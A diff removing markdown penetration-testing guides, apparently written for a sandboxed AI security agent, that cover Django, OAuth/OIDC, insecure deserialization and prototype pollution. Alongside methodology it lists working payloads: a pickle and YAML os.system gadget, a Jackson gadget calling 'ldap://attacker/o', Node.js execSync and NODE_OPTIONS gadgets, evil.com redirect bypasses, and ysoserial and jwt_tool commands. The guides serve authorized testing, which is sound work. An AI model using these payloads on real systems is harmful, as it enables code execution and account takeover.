- Ordering injection via `?ordering=` if field whitelist missing
|
|
||||||
|
|
||||||
**Template Injection**
|
|
||||||
Django templates auto-escape by default; risk rises with:
|
|
||||||
```python
|
|
||||||
mark_safe(user_input)
|
|
||||||
|safe filter in templates
|
|
||||||
Template(user_input).render(...) # SSTI if user controls template source
|
|
||||||
```
|
|
||||||
Jinja2 backend without autoescape: `{{7*7}}`, RCE gadgets if sandbox misconfigured.
|
|
||||||
|
|
||||||
### CSRF
|
|
||||||
|
|
||||||
- `@csrf_exempt` on state-changing views
|
|
||||||
- DRF session authentication without CSRF enforcement on unsafe methods
|
|
||||||
- CSRF cookie not set (`CSRF_USE_SESSIONS`, trusted origins misconfiguration)
|
|
||||||
- `CSRF_TRUSTED_ORIGINS` too broad
|
|
||||||
|
|
||||||
**Test:** Cross-origin POST with victim session cookie; JSON endpoints with session auth.
|
|
||||||
|
|
||||||
### IDOR and Mass Assignment
|
|
||||||
|
|
||||||
**DRF Serializers**
|
|
||||||
- `fields = '__all__'` exposing `is_staff`, `is_superuser`, `role`, `balance`
|
|
||||||
- `read_only_fields` missing on sensitive ModelSerializer fields
|
|
||||||
- Nested writes updating foreign keys across tenants
|
|
||||||
|
|
||||||
**Object-Level Permissions**
|
|
||||||
- `get_object()` without filtering queryset by request.user
|
|
||||||
- Generic views with `queryset = Model.objects.all()` and weak permissions
|
|
||||||
|
|
||||||
### File Handling
|
|
||||||
|
|
||||||
- `MEDIA_ROOT` served directly in DEBUG or via misconfigured nginx
|
|
||||||
- Path traversal in custom file download views using user-supplied paths
|
|
||||||
- SVG/HTML uploads served with `Content-Type` that enables XSS
|
|
||||||
- Missing file size/type validation on uploads
|
|
||||||
|
|
||||||
### SSRF
|
|
||||||
|
|
||||||
- `requests.get(user_url)` in webhooks, preview, import features
|
|
||||||
- Celery tasks fetching user URLs server-side
|
|
||||||
- Test loopback, metadata IPs, redirect chains
|
|
||||||
|
|
||||||
### Host Header / Password Reset
|
|
||||||
|
|
||||||
- `ALLOWED_HOSTS = ['*']` or permissive subdomain patterns
|
|
||||||
- Password reset emails built from `Host` header → poisoned reset links
|
|
||||||
- Cache poisoning via unkeyed Host header on cached pages
|
|
||||||
|
|
||||||
### Django Admin
|
|
||||||
|
|
||||||
- Default `/admin/` path with weak credentials
|
|
||||||
- `has_add_permission` / `has_change_permission` overrides with logic bugs
|
|
||||||
- ModelAdmin exposing sensitive fields in list_display or export
|
|
||||||
|
|
||||||
### Channels / WebSocket
|
|
||||||
|
|
||||||
- Consumer accepts connection without session/auth parity to HTTP
|
|
||||||
- Group name derived from user input → subscribe to other users' channels
|
|
||||||
- Missing origin validation on WebSocket handshake
|
|
||||||
|
|
||||||
## Bypass Techniques
|
|
||||||
|
|
||||||
- Content negotiation: JSON vs form data hitting different parser/permission paths
|
|
||||||
- HTTP method override or trailing slash routing to alternate view
|
|
||||||
- Parameter pollution: duplicate `id` fields in query and body
|
|
||||||
- Race on state transitions (coupon redemption, inventory) via parallel requests
|
|
||||||
- Versioned API (`/api/v1/` vs `/api/v2/`) with weaker auth on older version
|
|
||||||
|
|
||||||
## Testing Methodology
|
|
||||||
|
|
||||||
1. **Map surface** — URLs, DRF schema, admin, static/media paths
|
|
||||||
2. **Auth matrix** — Unauthenticated/user/staff for each endpoint and method
|
|
||||||
3. **Object ownership** — Swap IDs across two user accounts on every CRUD route
|
|
||||||
4. **Serializer audit** — Identify writable sensitive fields and nested relations
|
|
||||||
5. **Middleware order** — Confirm auth runs before business logic; check CSRF on session APIs
|
|
||||||
6. **Channel parity** — Same authorization on WebSocket actions as REST equivalents
|
|
||||||
7. **Settings review (white-box)** — DEBUG, ALLOWED_HOSTS, SECRET_KEY, session/cookie flags
|
|
||||||
|
|
||||||
## Validation
|
|
||||||
|
|
||||||
1. Side-by-side requests proving unauthorized access (IDOR, privilege escalation)
|
|
||||||
2. CSRF PoC executing state change with victim session (for session-authenticated endpoints)
|
|
||||||
3. SQLi/template injection with deterministic oracle (error, timing, or `7*7` equivalent)
|
|
||||||
4. Document view/serializer/permission class where enforcement failed
|
|
||||||
5. Show admin or staff capability gained from regular user context if applicable
|
|
||||||
|
|
||||||
## False Positives
|
|
||||||
|
|
||||||
- `queryset.filter(user=request.user)` consistently applied including nested routes
|
|
||||||
- Object-level permission class correctly validates ownership on all actions
|
|
||||||
- DEBUG=False and generic error pages with no settings leakage confirmed
|
|
||||||
- Mark_safe used only on server-generated trusted content
|
|
||||||
- CSRF correctly enforced on all session-authenticated unsafe methods
|
|
||||||
|
|
||||||
## Impact
|
|
||||||
|
|
||||||
- Account takeover via session forgery or password reset poisoning
|
|
||||||
- Horizontal/vertical privilege escalation through IDOR and mass assignment
|
|
||||||
- Data breach via ORM/SQL injection or excessive serializer fields
|
|
||||||
- Server compromise via SSTI, pickle in cache (if used), or SSRF to internal services
|
|
||||||
|
|
||||||
## Pro Tips
|
|
||||||
|
|
||||||
1. DRF ViewSets often protect `list` but forget `destroy` or custom `@action` routes
|
|
||||||
2. Check `APIView` subclasses for missing `permission_classes` — common oversight
|
|
||||||
3. Test `?format=` and browsable API HTML responses for CSRF on session auth
|
|
||||||
4. `django.contrib.admin` uses separate auth — don't assume API auth covers admin
|
|
||||||
5. Compare ASGI WebSocket consumers against REST permissions for the same resource
|
|
||||||
|
|
||||||
## Tooling
|
|
||||||
|
|
||||||
Static analysis is the fastest way to reach the sinks above in white-box scope. The sandbox ships `python`/`pipx`, `semgrep`, `bandit`, `ast-grep`, and `ripgrep`.
|
|
||||||
|
|
||||||
- **bandit** (preinstalled) — Python security linter; flags `mark_safe`, `extra()`, `RawSQL`, `subprocess`, weak crypto, hardcoded secrets: `bandit -r . -ll`
|
|
||||||
- **semgrep** (preinstalled) with the Django ruleset — higher-signal than bandit for framework-specific bugs (`.extra()`, `RawSQL`, `|safe`, `csrf_exempt`, `ALLOWED_HOSTS=['*']`): `semgrep --config p/django .`
|
|
||||||
- **pip-audit** (PyPA) — dependency CVE scanner for known-vuln Django/DRF/simplejwt versions: `pipx install pip-audit && pip-audit -r requirements.txt`
|
|
||||||
- **ast-grep** (preinstalled) — quick structural grep for risky calls without a full SAST run: `ast-grep run -p 'mark_safe($X)' -l python`
|
|
||||||
|
|
||||||
For the `SECRET_KEY` → signed-cookie/reset-token forgery path noted under Session Issues, Django's own `django.core.signing` is the "tool": with a leaked key you can mint valid `signing.dumps()` values (session cookies, password-reset tokens, and `PickleSerializer`-backed session RCE).
|
|
||||||
|
|
||||||
## Summary
|
|
||||||
|
|
||||||
Django's defaults help (CSRF middleware, template auto-escape) but DRF, raw SQL, custom permissions, and deployment settings introduce frequent gaps. Test every endpoint with role-separated principals and verify object-level enforcement on querysets, not just authentication presence.
|
|
||||||
@@ -1,185 +0,0 @@
|
|||||||
---
|
|
||||||
name: oauth
|
|
||||||
description: OAuth 2.0 and OIDC flow security testing covering redirect manipulation, token leakage, PKCE bypass, and client misconfiguration
|
|
||||||
---
|
|
||||||
|
|
||||||
# OAuth 2.0 / OIDC
|
|
||||||
|
|
||||||
OAuth and OIDC failures often enable account takeover, token theft, and cross-client token confusion. Treat every redirect, client identifier, and token exchange as an authorization boundary — not a convenience layer.
|
|
||||||
|
|
||||||
## Attack Surface
|
|
||||||
|
|
||||||
**Flows**
|
|
||||||
- Authorization code (with/without PKCE)
|
|
||||||
- Implicit (legacy), hybrid, device authorization, client credentials
|
|
||||||
- Refresh token rotation, token introspection, revocation
|
|
||||||
|
|
||||||
**Endpoints**
|
|
||||||
- `/authorize`, `/token`, `/userinfo`, `/introspect`, `/revoke`, `/logout`
|
|
||||||
- `/.well-known/openid-configuration`, `/jwks.json`
|
|
||||||
- Dynamic client registration (if enabled)
|
|
||||||
|
|
||||||
**Token Types**
|
|
||||||
- Authorization codes, access tokens, refresh tokens, ID tokens
|
|
||||||
- Opaque vs JWT formats; reference tokens vs self-contained JWTs
|
|
||||||
|
|
||||||
**Client Types**
|
|
||||||
- Public clients (SPAs, mobile) vs confidential (server-side)
|
|
||||||
- Multiple redirect URIs, wildcard/pattern matching, custom URI schemes
|
|
||||||
|
|
||||||
## Reconnaissance
|
|
||||||
|
|
||||||
**Discovery**
|
|
||||||
```
|
|
||||||
GET /.well-known/openid-configuration
|
|
||||||
GET /oauth2/.well-known/openid-configuration
|
|
||||||
GET /.well-known/oauth-authorization-server
|
|
||||||
```
|
|
||||||
|
|
||||||
Extract: `authorization_endpoint`, `token_endpoint`, `registration_endpoint`, supported `response_types`, `code_challenge_methods_supported`, `grant_types_supported`.
|
|
||||||
|
|
||||||
**Client Enumeration**
|
|
||||||
- Inspect JS bundles, mobile APK/IPA configs, GitHub repos for `client_id`, redirect URIs, scopes
|
|
||||||
- Check error messages for client validation hints ("invalid redirect_uri", "unregistered client")
|
|
||||||
|
|
||||||
## Key Vulnerabilities
|
|
||||||
|
|
||||||
### Redirect URI Manipulation
|
|
||||||
|
|
||||||
**Open Redirect Chains**
|
|
||||||
- Register or guess permissive redirect patterns: `https://app.com/callback`, path-prefix only, subdomain wildcards
|
|
||||||
- Test: append paths, fragments, query injection, `@` tricks, encoded slashes, backslash variants
|
|
||||||
|
|
||||||
```
|
|
||||||
https://app.com/callback.evil.com
|
|
||||||
https://app.com/callback%2f..%2f@evil.com
|
|
||||||
https://app.com/callback?next=https://evil.com
|
|
||||||
com.app://callback (mobile custom scheme)
|
|
||||||
```
|
|
||||||
|
|
||||||
**Redirect URI Validation Bypasses**
|
|
||||||
- Trailing slash, case, port, scheme downgrade (`http` vs `https`)
|
|
||||||
- Path normalization differentials between IdP validator and consuming app
|
|
||||||
- `redirect_uri` parameter pollution (first vs last wins)
|
|
||||||
- Wildcard subdomain acceptance: `*.app.com` → register `attacker.app.com` or find dangling subdomain
|
|
||||||
|
|
||||||
### Authorization Code Issues
|
|
||||||
|
|
||||||
**Code Leakage**
|
|
||||||
- Codes in URL fragments, Referer headers, browser history, server logs, analytics
|
|
||||||
- Code replay before expiry; missing one-time-use enforcement
|
|
||||||
- Code sent to wrong redirect_uri if binding is weak
|
|
||||||
|
|
||||||
**Code Injection / Mix-Up**
|
|
||||||
- Attacker initiates flow, victim completes login, code delivered to attacker's redirect
|
|
||||||
- Mix-up attack: swap `client_id` between authorize and token steps
|
|
||||||
- Missing `redirect_uri` binding at token endpoint
|
|
||||||
|
|
||||||
### State and Nonce
|
|
||||||
|
|
||||||
- Missing, predictable, or reusable `state` → CSRF on OAuth login (session fixation, account linking)
|
|
||||||
- Missing `nonce` in OIDC → ID token injection/replay
|
|
||||||
- `state` not bound to client session or PKCE verifier
|
|
||||||
|
|
||||||
### PKCE Bypass
|
|
||||||
|
|
||||||
- `code_challenge_method` downgrade: accept `plain` instead of `S256`
|
|
||||||
- Missing PKCE requirement on public clients
|
|
||||||
- `code_verifier` not validated or compared case-insensitively with weak matching
|
|
||||||
- Authorization code issued without challenge, token endpoint accepts any verifier
|
|
||||||
|
|
||||||
### Client Authentication
|
|
||||||
|
|
||||||
**Public Client Abuse**
|
|
||||||
- Token endpoint accepts requests without `client_secret` for confidential clients
|
|
||||||
- `client_id` only authentication on token/introspection endpoints
|
|
||||||
- Dynamic registration with attacker-controlled redirect URIs
|
|
||||||
|
|
||||||
**Secret Leakage**
|
|
||||||
- Hardcoded secrets in mobile apps, SPAs, or public repos
|
|
||||||
- `client_secret` accepted in query string or logged in access logs
|
|
||||||
|
|
||||||
### Scope and Token Issues
|
|
||||||
|
|
||||||
- Scope escalation: request `admin`/`offline_access`/`openid profile email` beyond app need; server grants all requested scopes
|
|
||||||
- Refresh token not rotated or reuse not detected → persistent access
|
|
||||||
- Access token accepted across services (missing audience/resource binding)
|
|
||||||
- Token introspection returns `active:true` without proper auth on introspection endpoint
|
|
||||||
|
|
||||||
### OpenID Connect Specific
|
|
||||||
|
|
||||||
- ID token accepted as access token at resource servers (token confusion)
|
|
||||||
- `acr`, `amr`, `auth_time` not validated for step-up requirements
|
|
||||||
- Userinfo endpoint returns PII without matching access token scope
|
|
||||||
- `sub` collision across issuers if `iss` not validated
|
|
||||||
|
|
||||||
## Advanced Techniques
|
|
||||||
|
|
||||||
**Referer Leakage**
|
|
||||||
- Embed authorized redirect as subresource on attacker page; harvest `code` from Referer if policy allows
|
|
||||||
|
|
||||||
**Device Flow Abuse**
|
|
||||||
- Poll `device_code` endpoint with guessed codes; slow rate limits only
|
|
||||||
- User approves attacker-initiated device login
|
|
||||||
|
|
||||||
**Account Linking**
|
|
||||||
- OAuth login links attacker's IdP identity to victim's local account without re-auth
|
|
||||||
- Email collision: same email from different IdP providers
|
|
||||||
|
|
||||||
## Testing Methodology
|
|
||||||
|
|
||||||
1. **Map flows** — Identify all grant types, clients, and redirect URIs in use
|
|
||||||
2. **Redirect matrix** — For each client, fuzz redirect_uri validation with encoding and parser tricks
|
|
||||||
3. **CSRF** — Initiate OAuth without `state`; swap sessions mid-flow
|
|
||||||
4. **PKCE** — Replay codes with wrong/missing verifier; downgrade challenge method
|
|
||||||
5. **Token exchange** — Swap codes/tokens between clients; test cross-audience acceptance
|
|
||||||
6. **Mobile/deep links** — Custom schemes, intent filters, universal links hijacking
|
|
||||||
|
|
||||||
## Validation
|
|
||||||
|
|
||||||
1. Demonstrate stolen authorization code or token via redirect manipulation or Referer leak
|
|
||||||
2. Show account takeover or access to victim resources with attacker's OAuth session
|
|
||||||
3. Prove CSRF: victim completes login into attacker's linked session without consent UI bypass where applicable
|
|
||||||
4. Document exact validation gap (redirect binding, PKCE, state, audience)
|
|
||||||
5. Provide full authorize → callback → token request chain with before/after evidence
|
|
||||||
|
|
||||||
## False Positives
|
|
||||||
|
|
||||||
- Redirect URI rejected consistently across all bypass attempts
|
|
||||||
- Public client correctly requires PKCE S256 with strict verifier validation
|
|
||||||
- `state`/`nonce` enforced and bound; CSRF test fails as expected
|
|
||||||
- Token audience/issuer correctly validated at resource server
|
|
||||||
- Custom scheme redirects require app ownership proof (verified Android/iOS app links)
|
|
||||||
|
|
||||||
## Impact
|
|
||||||
|
|
||||||
- Full account takeover via stolen authorization codes or tokens
|
|
||||||
- Persistent access through refresh token theft
|
|
||||||
- Cross-tenant or cross-client data access via token confusion
|
|
||||||
- PII exposure from userinfo or ID token claim leakage
|
|
||||||
|
|
||||||
## Pro Tips
|
|
||||||
|
|
||||||
1. Always capture the full redirect chain including intermediate 302 locations
|
|
||||||
2. Compare authorize-step and token-step parameter binding (`redirect_uri`, `client_id`, PKCE)
|
|
||||||
3. Test both web and mobile clients — validation rules often differ
|
|
||||||
4. Check logout/revocation — tokens may remain valid after "logout"
|
|
||||||
5. Chain with open redirect or XSS on the legitimate redirect_uri to exfiltrate codes
|
|
||||||
|
|
||||||
## Tooling
|
|
||||||
|
|
||||||
The sandbox ships **jwt_tool** (already cloned at `/home/pentester/tools/jwt_tool`) plus `curl` — enough for the token side of OAuth/OIDC.
|
|
||||||
|
|
||||||
- **jwt_tool** (ticarpi) — inspect and tamper ID tokens / JWT access tokens: `alg:none`, `HS256`/`RS256` key confusion, `kid` injection, claim editing (`sub`, `aud`, `iss`, `exp`):
|
|
||||||
```
|
|
||||||
python3 /home/pentester/tools/jwt_tool/jwt_tool.py <ID_TOKEN> # decode/inspect
|
|
||||||
python3 /home/pentester/tools/jwt_tool/jwt_tool.py <ID_TOKEN> -X a # alg:none
|
|
||||||
python3 /home/pentester/tools/jwt_tool/jwt_tool.py <ID_TOKEN> -X k -pk pub.pem # RS256->HS256 confusion
|
|
||||||
```
|
|
||||||
- **curl** — drive the authorize → callback → token chain by hand so you control every parameter (`redirect_uri`, `client_id`, `state`, PKCE `code_challenge`/`code_verifier`) and can test the binding/downgrade cases above.
|
|
||||||
|
|
||||||
Humans often use Burp's **EsPReSSO** (RUB-NDS) SSO extension for flow visualization; it is GUI-only, so prefer manual `curl` + `jwt_tool` in-sandbox.
|
|
||||||
|
|
||||||
## Summary
|
|
||||||
|
|
||||||
OAuth security hinges on strict redirect URI binding, unguessable state/nonce, PKCE for public clients, and consistent token audience validation. Any gap in the authorize-to-token chain is a potential account takeover.
|
|
||||||
@@ -1,188 +0,0 @@
|
|||||||
---
|
|
||||||
name: insecure-deserialization
|
|
||||||
description: Insecure deserialization testing for Java, Python, PHP, .NET, Ruby, and Node.js covering gadget chains, type confusion, and safe validation
|
|
||||||
---
|
|
||||||
|
|
||||||
# Insecure Deserialization
|
|
||||||
|
|
||||||
Insecure deserialization passes attacker-controlled byte streams or structured blobs to language-native unmarshal functions, enabling remote code execution, authentication bypass, and logic manipulation through magic methods and gadget chains. Test any endpoint accepting serialized objects, session blobs, or opaque binary tokens.
|
|
||||||
|
|
||||||
## Attack Surface
|
|
||||||
|
|
||||||
**Formats**
|
|
||||||
- Java: Java native serialization, XStream, JSON → object mappers (Jackson, Fastjson), YAML (SnakeYAML)
|
|
||||||
- Python: `pickle`, `yaml.load` (unsafe), `marshal`, shelve
|
|
||||||
- PHP: `unserialize()`, Phar deserialization
|
|
||||||
- .NET: `BinaryFormatter`, `Json.NET TypeNameHandling`, ViewState
|
|
||||||
- Ruby: `Marshal.load`, YAML.load
|
|
||||||
- Node.js: `node-serialize`, `unserialize.js` (less common; see prototype_pollution for merge bugs)
|
|
||||||
|
|
||||||
**Input Locations**
|
|
||||||
- Cookies, session tokens, hidden form fields
|
|
||||||
- API parameters (`data`, `state`, `object`, base64 blobs)
|
|
||||||
- Message queues, WebSocket binary frames, file uploads
|
|
||||||
- Cache entries, database columns storing serialized objects
|
|
||||||
|
|
||||||
## Reconnaissance
|
|
||||||
|
|
||||||
**Detection Signals**
|
|
||||||
- Base64 blobs starting with magic bytes:
|
|
||||||
- Java: `ac ed 00 05` (hex `rO0` base64)
|
|
||||||
- PHP: `O:`, `a:`, `s:` prefixes after decode
|
|
||||||
- .NET BinaryFormatter: starts with `00 01 00 00 00 ff ff ff ff`
|
|
||||||
- `Content-Type` with binary or custom serialization
|
|
||||||
- Framework indicators: Java apps with Spring, Struts, JSF; PHP with Symfony sessions
|
|
||||||
|
|
||||||
**White-Box Indicators**
|
|
||||||
```
|
|
||||||
pickle.loads unserialize( ObjectInputStream BinaryFormatter
|
|
||||||
yaml.load readObject( TypeNameHandling Marshal.load
|
|
||||||
```
|
|
||||||
|
|
||||||
## Key Vulnerabilities
|
|
||||||
|
|
||||||
### Java Deserialization
|
|
||||||
|
|
||||||
**Gadget Chains**
|
|
||||||
- Commons Collections, Commons BeanUtils, Spring, Groovy, Rome, JDK-only chains (varies by classpath)
|
|
||||||
- Tools: ysoserial (authorized testing only), manual chain selection by classpath
|
|
||||||
|
|
||||||
**Test Flow**
|
|
||||||
1. Confirm deserialization sink (HTTP param, cookie, RMI, JMX if exposed)
|
|
||||||
2. Fingerprint library versions from errors, headers, or bundled libs
|
|
||||||
3. Generate gadget payload for available chain; expect DNS/HTTP callback or command execution
|
|
||||||
|
|
||||||
**Jackson / JSON Typing**
|
|
||||||
```json
|
|
||||||
["com.sun.rowset.JdbcRowSetImpl", {"dataSourceName":"ldap://attacker/o", "autoCommit":true}]
|
|
||||||
```
|
|
||||||
When `enableDefaultTyping` or `@JsonTypeInfo` allows attacker-chosen types.
|
|
||||||
|
|
||||||
### Python Pickle
|
|
||||||
|
|
||||||
Pickle executes arbitrary code during unpickling by design:
|
|
||||||
```python
|
|
||||||
import pickle, os, base64
|
|
||||||
class Exploit:
|
|
||||||
def __reduce__(self):
|
|
||||||
return (os.system, ('id',))
|
|
||||||
# base64 encode pickle.dumps(Exploit()) and send as cookie/param
|
|
||||||
```
|
|
||||||
|
|
||||||
**YAML**
|
|
||||||
```yaml
|
|
||||||
!!python/object/apply:os.system ['id']
|
|
||||||
```
|
|
||||||
When `yaml.load` used instead of `yaml.safe_load`.
|
|
||||||
|
|
||||||
### PHP unserialize()
|
|
||||||
|
|
||||||
**Object Injection**
|
|
||||||
- Magic methods: `__wakeup`, `__destruct`, `__toString`, `__call`
|
|
||||||
- POP chains through framework classes (Laravel, Symfony, WordPress plugins)
|
|
||||||
|
|
||||||
**Phar Deserialization**
|
|
||||||
- Upload or reference `phar://` wrapper triggering metadata deserialization on file operations
|
|
||||||
|
|
||||||
### .NET Deserialization
|
|
||||||
|
|
||||||
**BinaryFormatter / LosFormatter**
|
|
||||||
- Never safe on untrusted input; full RCE with known gadget chains (ysoserial.net)
|
|
||||||
|
|
||||||
**Json.NET**
|
|
||||||
```json
|
|
||||||
{"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework", ...}
|
|
||||||
```
|
|
||||||
When `TypeNameHandling` != `None`.
|
|
||||||
|
|
||||||
**ViewState**
|
|
||||||
- MAC disabled or weak machine keys → forge deserialized view state
|
|
||||||
|
|
||||||
### Ruby Marshal
|
|
||||||
|
|
||||||
- `Marshal.load` on user input → gadget chains in Rails/Devise versions (context-dependent)
|
|
||||||
|
|
||||||
## Advanced Techniques
|
|
||||||
|
|
||||||
**Signed Blob Bypass**
|
|
||||||
- If HMAC/signing uses weak secret or algorithm confusion, forge serialized payload
|
|
||||||
- Strip signature and test unsigned code paths
|
|
||||||
- Length extension on MAC if applicable (older custom schemes)
|
|
||||||
|
|
||||||
**Second-Order Deserialization**
|
|
||||||
- Store serialized blob in profile/import; trigger on admin export, cache warm, or batch job
|
|
||||||
|
|
||||||
**Compression Wrappers**
|
|
||||||
- Gzip/base64 nested encoding bypassing naive WAF inspection
|
|
||||||
|
|
||||||
## Testing Methodology
|
|
||||||
|
|
||||||
1. **Find sinks** — Locate decode/unmarshal calls on user-influenced data
|
|
||||||
2. **Confirm format** — Magic bytes, error stack traces, framework fingerprint
|
|
||||||
3. **Safe oracle** — DNS/HTTP OAST callback or sleep/ping before full RCE PoC
|
|
||||||
4. **Gadget selection** — Match classpath/runtime version to available chains
|
|
||||||
5. **Minimal PoC** — Demonstrate code execution or critical logic bypass with least destructive command
|
|
||||||
6. **Session/cookie focus** — Deserialize server-side session stores (Java, PHP) early
|
|
||||||
|
|
||||||
## Validation
|
|
||||||
|
|
||||||
1. Demonstrate attacker-controlled object graph reaches dangerous sink (unmarshal/readObject)
|
|
||||||
2. Show impact: RCE (bounded command), auth bypass object, or privilege field manipulation
|
|
||||||
3. Provide encoded payload and exact injection point (cookie name, parameter, header)
|
|
||||||
4. Confirm on fixed version or alternate instance that identical payload fails safely
|
|
||||||
5. Document library/version and gadget chain class names for remediation
|
|
||||||
|
|
||||||
## False Positives
|
|
||||||
|
|
||||||
- Base64 data is encrypted or signed with verified HMAC before deserialization
|
|
||||||
- Only primitive types deserialized (whitelist schema, no polymorphic types)
|
|
||||||
- `pickle`/`Marshal` not used; JSON parsed to dict without object instantiation
|
|
||||||
- Deserialization in isolated sandbox with no network/exec primitives (verify thoroughly)
|
|
||||||
- Error mentions serialization class but input is never passed to unmarshal (dead code path)
|
|
||||||
|
|
||||||
## Bypass Methods
|
|
||||||
|
|
||||||
- Encoding layers: base64 → gzip → serialize
|
|
||||||
- Alternative parameters storing same session (`session`, `session_backup`, `state`)
|
|
||||||
- Switch content-type or parameter location (GET vs POST vs cookie)
|
|
||||||
- Type confusion: JSON array vs object hitting different deserializer branches
|
|
||||||
- Unicode/UTF-7 smuggling in PHP serialized strings (legacy contexts)
|
|
||||||
|
|
||||||
## Impact
|
|
||||||
|
|
||||||
- Remote code execution on application servers
|
|
||||||
- Authentication bypass via forged session objects
|
|
||||||
- Privilege escalation through manipulated role/admin fields in deserialized classes
|
|
||||||
- Full application compromise in Java/PHP/.NET stacks with known gadget libraries
|
|
||||||
|
|
||||||
## Pro Tips
|
|
||||||
|
|
||||||
1. Always fingerprint versions before firing ysoserial — wrong chain wastes time and noise
|
|
||||||
2. Start with DNS/HTTP callback gadgets before command execution in production-like targets
|
|
||||||
3. Check cookies named `JSESSIONID` alternatives, `.ASPXAUTH`, `laravel_session`, custom tokens
|
|
||||||
4. In white-box, trace from `readObject`/`unserialize`/`pickle.loads` backward to source
|
|
||||||
5. ViewState MAC off is still common on legacy ASP.NET — test early on `.aspx` apps
|
|
||||||
|
|
||||||
## Tooling
|
|
||||||
|
|
||||||
Payload generation is the practitioner's core tool here. The sandbox has `git`/`python`/`go` and **interactsh-client** (OAST); add a JRE or `php-cli` if you need the Java/PHP generators.
|
|
||||||
|
|
||||||
| Tool | Language / format | Use |
|
|
||||||
|------|-------------------|-----|
|
|
||||||
| **ysoserial** (frohoff) | Java native | Gadget-chain payloads: `CommonsCollections1-7`, `Groovy1`, `Spring1/2`, and `URLDNS` for a safe no-exec DNS oracle. Needs a JRE. |
|
|
||||||
| **phpggc** (ambionics) | PHP `unserialize` / Phar | Framework POP chains (Laravel, Symfony, WordPress, Drupal, Monolog). Needs `php-cli`. |
|
|
||||||
| **ysoserial.net** | .NET `BinaryFormatter` / Json.NET | Windows/.NET gadget payloads. Needs .NET/mono — usually out of scope in a Linux sandbox. |
|
|
||||||
|
|
||||||
```
|
|
||||||
# Java: prove the sink with a no-exec DNS oracle BEFORE any RCE chain
|
|
||||||
java -jar ysoserial.jar URLDNS "http://$(interactsh-client -json | jq -r .host)" | base64 -w0
|
|
||||||
|
|
||||||
# PHP: generate a Laravel POP chain (base64), fast path via a framework gadget
|
|
||||||
./phpggc -b Laravel/RCE9 system id
|
|
||||||
```
|
|
||||||
|
|
||||||
Confirm the sink with a callback (`URLDNS` / interactsh OAST) before firing a command-exec chain, and match the chain to the fingerprinted library version — the wrong chain just adds noise.
|
|
||||||
|
|
||||||
## Summary
|
|
||||||
|
|
||||||
Treat every deserialization of untrusted data as critical. Safe patterns use JSON schema validation without type polymorphism, `yaml.safe_load`, signed encrypted tokens, or no custom serialization at all. Prove impact with callback or bounded execution — not just error stack traces.
|
|
||||||
@@ -1,142 +0,0 @@
|
|||||||
---
|
|
||||||
name: prototype-pollution
|
|
||||||
description: Client and server prototype pollution testing covering JavaScript object merge bugs, Node.js RCE chains, and filter bypasses
|
|
||||||
---
|
|
||||||
|
|
||||||
# Prototype Pollution
|
|
||||||
|
|
||||||
Prototype pollution corrupts shared object prototypes (`Object.prototype`, `Array.prototype`, etc.), leading to application logic bypass, denial of service, and — on Node.js — remote code execution via gadget chains. Test anywhere user input merges into objects without safe key filtering.
|
|
||||||
|
|
||||||
## Attack Surface
|
|
||||||
|
|
||||||
**Languages & Runtimes**
|
|
||||||
- JavaScript/TypeScript (browser and Node.js)
|
|
||||||
- JSON parsers that preserve `__proto__`, `constructor`, `prototype` keys
|
|
||||||
- Server-side template engines and config merge utilities
|
|
||||||
|
|
||||||
**Input Vectors**
|
|
||||||
- JSON request bodies, query strings, multipart form fields
|
|
||||||
- URL-encoded nested objects (`__proto__[key]=value`)
|
|
||||||
- WebSocket messages, GraphQL variables, file import formats (JSON, YAML)
|
|
||||||
|
|
||||||
**Vulnerable Patterns**
|
|
||||||
- Deep merge/extend: `lodash.merge`, `jQuery.extend`, custom `Object.assign` loops
|
|
||||||
- Query parsers: `qs`, `body-parser` with nested object support
|
|
||||||
- Client-side routing, state hydration, analytics SDK config merges
|
|
||||||
|
|
||||||
## Key Vulnerabilities
|
|
||||||
|
|
||||||
### Client-Side Prototype Pollution
|
|
||||||
|
|
||||||
**Gadget Effects**
|
|
||||||
- Bypass auth checks reading `user.isAdmin` when polluted on prototype
|
|
||||||
- DOM XSS via polluted properties consumed by `innerHTML`, `document.write`, script loaders
|
|
||||||
- Cookie/session manipulation if app reads config from polluted defaults
|
|
||||||
|
|
||||||
**Payload Shapes**
|
|
||||||
```json
|
|
||||||
{"__proto__": {"isAdmin": true}}
|
|
||||||
{"constructor": {"prototype": {"isAdmin": true}}}
|
|
||||||
{"__proto__.polluted": "yes"}
|
|
||||||
```
|
|
||||||
|
|
||||||
**URL-encoded (qs-style)**
|
|
||||||
```
|
|
||||||
?__proto__[isAdmin]=true
|
|
||||||
?constructor[prototype][isAdmin]=true
|
|
||||||
```
|
|
||||||
|
|
||||||
### Server-Side Prototype Pollution (Node.js)
|
|
||||||
|
|
||||||
**Common Sinks**
|
|
||||||
- `lodash.merge`, `lodash.defaultsDeep`, `deep-extend`, `merge-options`
|
|
||||||
- Express/query parsers accepting nested objects
|
|
||||||
- YAML `load()` (not `safeLoad`) with prototype keys
|
|
||||||
- JSON.parse → merge into existing object without null prototype
|
|
||||||
|
|
||||||
**RCE Gadget Chains (Node.js)**
|
|
||||||
Pollute properties consumed by child_process, template engines, or require paths:
|
|
||||||
```json
|
|
||||||
{"__proto__": {"shell": "/proc/self/exe", "argv0": "node", "NODE_OPTIONS": "--require /tmp/evil.js"}}
|
|
||||||
{"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id')//"}}
|
|
||||||
```
|
|
||||||
|
|
||||||
Gadget availability depends on package versions — enumerate `node_modules` in white-box scans.
|
|
||||||
|
|
||||||
### Filter Bypasses
|
|
||||||
|
|
||||||
**Key Sanitization Bypasses**
|
|
||||||
- Unicode normalization: `__proto__` variants, fullwidth underscores
|
|
||||||
- Nested forms: `constructor.prototype` instead of `__proto__`
|
|
||||||
- Array pollution: `__proto__[0]`, `[].__proto__`
|
|
||||||
- JSON `$` or `.` keys in some parsers (MongoDB-style operators overlap — see nosql_injection skill)
|
|
||||||
|
|
||||||
**Freeze/Seal Gaps**
|
|
||||||
- Pollution before `Object.freeze` on instance but not prototype
|
|
||||||
- Pollution affecting newly created objects after merge
|
|
||||||
|
|
||||||
## Testing Methodology
|
|
||||||
|
|
||||||
1. **Identify merge points** — Search for extend/merge/defaults/deep copy on user-controlled objects
|
|
||||||
2. **Baseline probe** — Inject benign pollution marker:
|
|
||||||
```json
|
|
||||||
{"__proto__": {"strixPolluted": "yes"}}
|
|
||||||
```
|
|
||||||
Verify via response behavior, error messages, or follow-up request reading shared state
|
|
||||||
